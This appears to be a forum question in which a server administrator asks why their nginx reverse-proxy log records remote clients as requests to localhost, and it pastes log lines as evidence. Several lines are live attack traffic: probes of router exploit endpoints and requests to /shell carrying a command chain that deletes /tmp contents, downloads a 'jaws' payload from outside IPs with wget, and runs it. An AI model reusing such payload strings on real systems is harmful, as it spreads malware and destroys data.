How is it principlally possible that I have records in my reverse proxy (nginx) log that shows requests form remote ip (second column) to localhost (first column) and it is not proxy requests (not GET http):
localhost 159.65.111.248 - - [04/Jun/2023:10:51:19 +0000] "GET / HTTP/1.0" 503 190 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0" "-"
localhost 137.184.74.35 - - [04/Jun/2023:20:53:34 +0000] "GET /.git/HEAD HTTP/1.1" 503 190 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0" "-"
localhost 178.128.152.119 - - [06/Jun/2023:06:04:49 +0000] "GET / HTTP/1.0" 503 190 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0" "-"
localhost 128.199.77.96 - - [07/Jun/2023:22:48:25 +0000] "GET / HTTP/1.0" 503 190 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0" "-"
localhost 178.128.152.119 - - [08/Jun/2023:02:19:43 +0000] "GET / HTTP/1.0" 503 190 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0" "-"
127.0.0.1 93.43.32.186 - - [06/Jun/2023:03:01:56 +0000] "POST /cgi-bin/luci/;stok=/locale?form=country HTTP/1.1" 400 150 "-" "-" "-"
127.0.0.1 175.107.0.189 - - [06/Jun/2023:21:33:54 +0000] "POST /GponForm/diag_Form?images/ HTTP/1.1" 503 190 "-" "Hello, World" "-"
127.0.0.1 115.63.10.172 - - [08/Jun/2023:09:04:52 +0000] "POST /GponForm/diag_Form?images/ HTTP/1.1" 503 190 "-" "Hello, World" "-"
127.0.0.1 183.250.34.143 - - [08/Jun/2023:13:56:12 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+167.71.210.63/jaws;sh+/tmp/jaws HTTP/1.1" 503 190 "-" "Hello, world" "-"
127.0.0.1 196.189.98.151 - - [08/Jun/2023:16:35:19 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+95.214.27.201/jaws;sh+/tmp/jaws HTTP/1.1" 503 190 "-" "Hello, world" "-"
127.0.0.1 103.170.254.16 - - [08/Jun/2023:23:00:48 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+103.16.161.29/jaws;sh+/tmp/jaws HTTP/1.1" 503 190 "-" "Hello, world" "-"
